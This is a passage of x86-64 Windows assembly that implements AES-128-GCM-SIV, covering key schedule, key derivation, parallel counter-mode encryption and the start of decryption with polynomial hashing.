vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[80+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[96+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[112+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[128+rdx],xmm1
vmovdqa xmm0,XMMWORD[con2]
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpslld xmm0,xmm0,1
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenc xmm4,xmm4,xmm1
vmovdqa XMMWORD[144+rdx],xmm1
vpshufb xmm2,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm0
vpsllq xmm3,xmm1,32
vpxor xmm1,xmm1,xmm3
vpshufb xmm3,xmm1,XMMWORD[con3]
vpxor xmm1,xmm1,xmm3
vpxor xmm1,xmm1,xmm2
vaesenclast xmm4,xmm4,xmm1
vmovdqa XMMWORD[160+rdx],xmm1
vmovdqa XMMWORD[rsi],xmm4
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_aes_ks_enc_x1:
global aes128gcmsiv_kdf
ALIGN 16
aes128gcmsiv_kdf:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_kdf:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
vmovdqa xmm1,XMMWORD[rdx]
vmovdqa xmm9,XMMWORD[rdi]
vmovdqa xmm12,XMMWORD[and_mask]
vmovdqa xmm13,XMMWORD[one]
vpshufd xmm9,xmm9,0x90
vpand xmm9,xmm9,xmm12
vpaddd xmm10,xmm9,xmm13
vpaddd xmm11,xmm10,xmm13
vpaddd xmm12,xmm11,xmm13
vpxor xmm9,xmm9,xmm1
vpxor xmm10,xmm10,xmm1
vpxor xmm11,xmm11,xmm1
vpxor xmm12,xmm12,xmm1
vmovdqa xmm1,XMMWORD[16+rdx]
vaesenc xmm9,xmm9,xmm1
vaesenc xmm10,xmm10,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vmovdqa xmm2,XMMWORD[32+rdx]
vaesenc xmm9,xmm9,xmm2
vaesenc xmm10,xmm10,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vmovdqa xmm1,XMMWORD[48+rdx]
vaesenc xmm9,xmm9,xmm1
vaesenc xmm10,xmm10,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vmovdqa xmm2,XMMWORD[64+rdx]
vaesenc xmm9,xmm9,xmm2
vaesenc xmm10,xmm10,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vmovdqa xmm1,XMMWORD[80+rdx]
vaesenc xmm9,xmm9,xmm1
vaesenc xmm10,xmm10,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vmovdqa xmm2,XMMWORD[96+rdx]
vaesenc xmm9,xmm9,xmm2
vaesenc xmm10,xmm10,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vmovdqa xmm1,XMMWORD[112+rdx]
vaesenc xmm9,xmm9,xmm1
vaesenc xmm10,xmm10,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vmovdqa xmm2,XMMWORD[128+rdx]
vaesenc xmm9,xmm9,xmm2
vaesenc xmm10,xmm10,xmm2
vaesenc xmm11,xmm11,xmm2
vaesenc xmm12,xmm12,xmm2
vmovdqa xmm1,XMMWORD[144+rdx]
vaesenc xmm9,xmm9,xmm1
vaesenc xmm10,xmm10,xmm1
vaesenc xmm11,xmm11,xmm1
vaesenc xmm12,xmm12,xmm1
vmovdqa xmm2,XMMWORD[160+rdx]
vaesenclast xmm9,xmm9,xmm2
vaesenclast xmm10,xmm10,xmm2
vaesenclast xmm11,xmm11,xmm2
vaesenclast xmm12,xmm12,xmm2
vmovdqa XMMWORD[rsi],xmm9
vmovdqa XMMWORD[16+rsi],xmm10
vmovdqa XMMWORD[32+rsi],xmm11
vmovdqa XMMWORD[48+rsi],xmm12
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_kdf:
global aes128gcmsiv_enc_msg_x4
ALIGN 16
aes128gcmsiv_enc_msg_x4:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_enc_msg_x4:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
test r8,r8
jnz NEAR $L$128_enc_msg_x4_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$128_enc_msg_x4_start:
push r12
push r13
shr r8,4
mov r10,r8
shl r10,62
shr r10,62
vmovdqa xmm15,XMMWORD[rdx]
vpor xmm15,xmm15,XMMWORD[OR_MASK]
vmovdqu xmm4,XMMWORD[four]
vmovdqa xmm0,xmm15
vpaddd xmm1,xmm15,XMMWORD[one]
vpaddd xmm2,xmm15,XMMWORD[two]
vpaddd xmm3,xmm15,XMMWORD[three]
shr r8,2
je NEAR $L$128_enc_msg_x4_check_remainder
sub rsi,64
sub rdi,64
$L$128_enc_msg_x4_loop1:
add rsi,64
add rdi,64
vmovdqa xmm5,xmm0
vmovdqa xmm6,xmm1
vmovdqa xmm7,xmm2
vmovdqa xmm8,xmm3
vpxor xmm5,xmm5,XMMWORD[rcx]
vpxor xmm6,xmm6,XMMWORD[rcx]
vpxor xmm7,xmm7,XMMWORD[rcx]
vpxor xmm8,xmm8,XMMWORD[rcx]
vmovdqu xmm12,XMMWORD[16+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm0,xmm0,xmm4
vmovdqu xmm12,XMMWORD[32+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm1,xmm1,xmm4
vmovdqu xmm12,XMMWORD[48+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm2,xmm2,xmm4
vmovdqu xmm12,XMMWORD[64+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vpaddd xmm3,xmm3,xmm4
vmovdqu xmm12,XMMWORD[80+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[96+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[112+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[128+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[144+rcx]
vaesenc xmm5,xmm5,xmm12
vaesenc xmm6,xmm6,xmm12
vaesenc xmm7,xmm7,xmm12
vaesenc xmm8,xmm8,xmm12
vmovdqu xmm12,XMMWORD[160+rcx]
vaesenclast xmm5,xmm5,xmm12
vaesenclast xmm6,xmm6,xmm12
vaesenclast xmm7,xmm7,xmm12
vaesenclast xmm8,xmm8,xmm12
vpxor xmm5,xmm5,XMMWORD[rdi]
vpxor xmm6,xmm6,XMMWORD[16+rdi]
vpxor xmm7,xmm7,XMMWORD[32+rdi]
vpxor xmm8,xmm8,XMMWORD[48+rdi]
sub r8,1
vmovdqu XMMWORD[rsi],xmm5
vmovdqu XMMWORD[16+rsi],xmm6
vmovdqu XMMWORD[32+rsi],xmm7
vmovdqu XMMWORD[48+rsi],xmm8
jne NEAR $L$128_enc_msg_x4_loop1
add rsi,64
add rdi,64
$L$128_enc_msg_x4_check_remainder:
cmp r10,0
je NEAR $L$128_enc_msg_x4_out
$L$128_enc_msg_x4_loop2:
vmovdqa xmm5,xmm0
vpaddd xmm0,xmm0,XMMWORD[one]
vpxor xmm5,xmm5,XMMWORD[rcx]
vaesenc xmm5,xmm5,XMMWORD[16+rcx]
vaesenc xmm5,xmm5,XMMWORD[32+rcx]
vaesenc xmm5,xmm5,XMMWORD[48+rcx]
vaesenc xmm5,xmm5,XMMWORD[64+rcx]
vaesenc xmm5,xmm5,XMMWORD[80+rcx]
vaesenc xmm5,xmm5,XMMWORD[96+rcx]
vaesenc xmm5,xmm5,XMMWORD[112+rcx]
vaesenc xmm5,xmm5,XMMWORD[128+rcx]
vaesenc xmm5,xmm5,XMMWORD[144+rcx]
vaesenclast xmm5,xmm5,XMMWORD[160+rcx]
vpxor xmm5,xmm5,XMMWORD[rdi]
vmovdqu XMMWORD[rsi],xmm5
add rdi,16
add rsi,16
sub r10,1
jne NEAR $L$128_enc_msg_x4_loop2
$L$128_enc_msg_x4_out:
pop r13
pop r12
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_enc_msg_x4:
global aes128gcmsiv_enc_msg_x8
ALIGN 16
aes128gcmsiv_enc_msg_x8:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_enc_msg_x8:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
test r8,r8
jnz NEAR $L$128_enc_msg_x8_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$128_enc_msg_x8_start:
push r12
push r13
push rbp
mov rbp,rsp
sub rsp,128
and rsp,-64
shr r8,4
mov r10,r8
shl r10,61
shr r10,61
vmovdqu xmm1,XMMWORD[rdx]
vpor xmm1,xmm1,XMMWORD[OR_MASK]
vpaddd xmm0,xmm1,XMMWORD[seven]
vmovdqu XMMWORD[rsp],xmm0
vpaddd xmm9,xmm1,XMMWORD[one]
vpaddd xmm10,xmm1,XMMWORD[two]
vpaddd xmm11,xmm1,XMMWORD[three]
vpaddd xmm12,xmm1,XMMWORD[four]
vpaddd xmm13,xmm1,XMMWORD[five]
vpaddd xmm14,xmm1,XMMWORD[six]
vmovdqa xmm0,xmm1
shr r8,3
je NEAR $L$128_enc_msg_x8_check_remainder
sub rsi,128
sub rdi,128
$L$128_enc_msg_x8_loop1:
add rsi,128
add rdi,128
vmovdqa xmm1,xmm0
vmovdqa xmm2,xmm9
vmovdqa xmm3,xmm10
vmovdqa xmm4,xmm11
vmovdqa xmm5,xmm12
vmovdqa xmm6,xmm13
vmovdqa xmm7,xmm14
vmovdqu xmm8,XMMWORD[rsp]
vpxor xmm1,xmm1,XMMWORD[rcx]
vpxor xmm2,xmm2,XMMWORD[rcx]
vpxor xmm3,xmm3,XMMWORD[rcx]
vpxor xmm4,xmm4,XMMWORD[rcx]
vpxor xmm5,xmm5,XMMWORD[rcx]
vpxor xmm6,xmm6,XMMWORD[rcx]
vpxor xmm7,xmm7,XMMWORD[rcx]
vpxor xmm8,xmm8,XMMWORD[rcx]
vmovdqu xmm15,XMMWORD[16+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm14,XMMWORD[rsp]
vpaddd xmm14,xmm14,XMMWORD[eight]
vmovdqu XMMWORD[rsp],xmm14
vmovdqu xmm15,XMMWORD[32+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpsubd xmm14,xmm14,XMMWORD[one]
vmovdqu xmm15,XMMWORD[48+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm0,xmm0,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[64+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm9,xmm9,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[80+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm10,xmm10,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[96+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm11,xmm11,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[112+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm12,xmm12,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[128+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vpaddd xmm13,xmm13,XMMWORD[eight]
vmovdqu xmm15,XMMWORD[144+rcx]
vaesenc xmm1,xmm1,xmm15
vaesenc xmm2,xmm2,xmm15
vaesenc xmm3,xmm3,xmm15
vaesenc xmm4,xmm4,xmm15
vaesenc xmm5,xmm5,xmm15
vaesenc xmm6,xmm6,xmm15
vaesenc xmm7,xmm7,xmm15
vaesenc xmm8,xmm8,xmm15
vmovdqu xmm15,XMMWORD[160+rcx]
vaesenclast xmm1,xmm1,xmm15
vaesenclast xmm2,xmm2,xmm15
vaesenclast xmm3,xmm3,xmm15
vaesenclast xmm4,xmm4,xmm15
vaesenclast xmm5,xmm5,xmm15
vaesenclast xmm6,xmm6,xmm15
vaesenclast xmm7,xmm7,xmm15
vaesenclast xmm8,xmm8,xmm15
vpxor xmm1,xmm1,XMMWORD[rdi]
vpxor xmm2,xmm2,XMMWORD[16+rdi]
vpxor xmm3,xmm3,XMMWORD[32+rdi]
vpxor xmm4,xmm4,XMMWORD[48+rdi]
vpxor xmm5,xmm5,XMMWORD[64+rdi]
vpxor xmm6,xmm6,XMMWORD[80+rdi]
vpxor xmm7,xmm7,XMMWORD[96+rdi]
vpxor xmm8,xmm8,XMMWORD[112+rdi]
dec r8
vmovdqu XMMWORD[rsi],xmm1
vmovdqu XMMWORD[16+rsi],xmm2
vmovdqu XMMWORD[32+rsi],xmm3
vmovdqu XMMWORD[48+rsi],xmm4
vmovdqu XMMWORD[64+rsi],xmm5
vmovdqu XMMWORD[80+rsi],xmm6
vmovdqu XMMWORD[96+rsi],xmm7
vmovdqu XMMWORD[112+rsi],xmm8
jne NEAR $L$128_enc_msg_x8_loop1
add rsi,128
add rdi,128
$L$128_enc_msg_x8_check_remainder:
cmp r10,0
je NEAR $L$128_enc_msg_x8_out
$L$128_enc_msg_x8_loop2:
vmovdqa xmm1,xmm0
vpaddd xmm0,xmm0,XMMWORD[one]
vpxor xmm1,xmm1,XMMWORD[rcx]
vaesenc xmm1,xmm1,XMMWORD[16+rcx]
vaesenc xmm1,xmm1,XMMWORD[32+rcx]
vaesenc xmm1,xmm1,XMMWORD[48+rcx]
vaesenc xmm1,xmm1,XMMWORD[64+rcx]
vaesenc xmm1,xmm1,XMMWORD[80+rcx]
vaesenc xmm1,xmm1,XMMWORD[96+rcx]
vaesenc xmm1,xmm1,XMMWORD[112+rcx]
vaesenc xmm1,xmm1,XMMWORD[128+rcx]
vaesenc xmm1,xmm1,XMMWORD[144+rcx]
vaesenclast xmm1,xmm1,XMMWORD[160+rcx]
vpxor xmm1,xmm1,XMMWORD[rdi]
vmovdqu XMMWORD[rsi],xmm1
add rdi,16
add rsi,16
dec r10
jne NEAR $L$128_enc_msg_x8_loop2
$L$128_enc_msg_x8_out:
mov rsp,rbp
pop rbp
pop r13
pop r12
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_aes128gcmsiv_enc_msg_x8:
global aes128gcmsiv_dec
ALIGN 16
aes128gcmsiv_dec:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_aes128gcmsiv_dec:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
mov r9,QWORD[48+rsp]
test r9,~15
jnz NEAR $L$128_dec_start
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$128_dec_start:
vzeroupper
vmovdqa xmm0,XMMWORD[rdx]
mov rax,rdx
lea rax,[32+rax]
lea rcx,[32+rcx]
vmovdqu xmm15,XMMWORD[r9*1+rdi]
vpor xmm15,xmm15,XMMWORD[OR_MASK]
and r9,~15
cmp r9,96
jb NEAR $L$128_dec_loop2
sub r9,96
vmovdqa xmm7,xmm15
vpaddd xmm8,xmm7,XMMWORD[one]
vpaddd xmm9,xmm7,XMMWORD[two]
vpaddd xmm10,xmm9,XMMWORD[one]
vpaddd xmm11,xmm9,XMMWORD[two]
vpaddd xmm12,xmm11,XMMWORD[one]
vpaddd xmm15,xmm11,XMMWORD[two]
vpxor xmm7,xmm7,XMMWORD[r8]
vpxor xmm8,xmm8,XMMWORD[r8]
vpxor xmm9,xmm9,XMMWORD[r8]
vpxor xmm10,xmm10,XMMWORD[r8]
vpxor xmm11,xmm11,XMMWORD[r8]
vpxor xmm12,xmm12,XMMWORD[r8]
vmovdqu xmm4,XMMWORD[16+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[32+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[48+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[64+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[80+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[96+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[112+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[128+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[144+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[160+r8]
vaesenclast xmm7,xmm7,xmm4
vaesenclast xmm8,xmm8,xmm4
vaesenclast xmm9,xmm9,xmm4
vaesenclast xmm10,xmm10,xmm4
vaesenclast xmm11,xmm11,xmm4
vaesenclast xmm12,xmm12,xmm4
vpxor xmm7,xmm7,XMMWORD[rdi]
vpxor xmm8,xmm8,XMMWORD[16+rdi]
vpxor xmm9,xmm9,XMMWORD[32+rdi]
vpxor xmm10,xmm10,XMMWORD[48+rdi]
vpxor xmm11,xmm11,XMMWORD[64+rdi]
vpxor xmm12,xmm12,XMMWORD[80+rdi]
vmovdqu XMMWORD[rsi],xmm7
vmovdqu XMMWORD[16+rsi],xmm8
vmovdqu XMMWORD[32+rsi],xmm9
vmovdqu XMMWORD[48+rsi],xmm10
vmovdqu XMMWORD[64+rsi],xmm11
vmovdqu XMMWORD[80+rsi],xmm12
add rdi,96
add rsi,96
jmp NEAR $L$128_dec_loop1
ALIGN 64
$L$128_dec_loop1:
cmp r9,96
jb NEAR $L$128_dec_finish_96
sub r9,96
vmovdqa xmm6,xmm12
vmovdqa XMMWORD[(16-32)+rax],xmm11
vmovdqa XMMWORD[(32-32)+rax],xmm10
vmovdqa XMMWORD[(48-32)+rax],xmm9
vmovdqa XMMWORD[(64-32)+rax],xmm8
vmovdqa XMMWORD[(80-32)+rax],xmm7
vmovdqa xmm7,xmm15
vpaddd xmm8,xmm7,XMMWORD[one]
vpaddd xmm9,xmm7,XMMWORD[two]
vpaddd xmm10,xmm9,XMMWORD[one]
vpaddd xmm11,xmm9,XMMWORD[two]
vpaddd xmm12,xmm11,XMMWORD[one]
vpaddd xmm15,xmm11,XMMWORD[two]
vmovdqa xmm4,XMMWORD[r8]
vpxor xmm7,xmm7,xmm4
vpxor xmm8,xmm8,xmm4
vpxor xmm9,xmm9,xmm4
vpxor xmm10,xmm10,xmm4
vpxor xmm11,xmm11,xmm4
vpxor xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[((0-32))+rcx]
vpclmulqdq xmm2,xmm6,xmm4,0x11
vpclmulqdq xmm3,xmm6,xmm4,0x00
vpclmulqdq xmm1,xmm6,xmm4,0x01
vpclmulqdq xmm4,xmm6,xmm4,0x10
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[16+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[((-16))+rax]
vmovdqu xmm13,XMMWORD[((-16))+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[32+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[rax]
vmovdqu xmm13,XMMWORD[rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[48+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[16+rax]
vmovdqu xmm13,XMMWORD[16+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[64+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm6,XMMWORD[32+rax]
vmovdqu xmm13,XMMWORD[32+rcx]
vpclmulqdq xmm4,xmm6,xmm13,0x10
vpxor xmm1,xmm1,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x11
vpxor xmm2,xmm2,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x00
vpxor xmm3,xmm3,xmm4
vpclmulqdq xmm4,xmm6,xmm13,0x01
vpxor xmm1,xmm1,xmm4
vmovdqu xmm4,XMMWORD[80+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[96+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
vaesenc xmm10,xmm10,xmm4
vaesenc xmm11,xmm11,xmm4
vaesenc xmm12,xmm12,xmm4
vmovdqu xmm4,XMMWORD[112+r8]
vaesenc xmm7,xmm7,xmm4
vaesenc xmm8,xmm8,xmm4
vaesenc xmm9,xmm9,xmm4
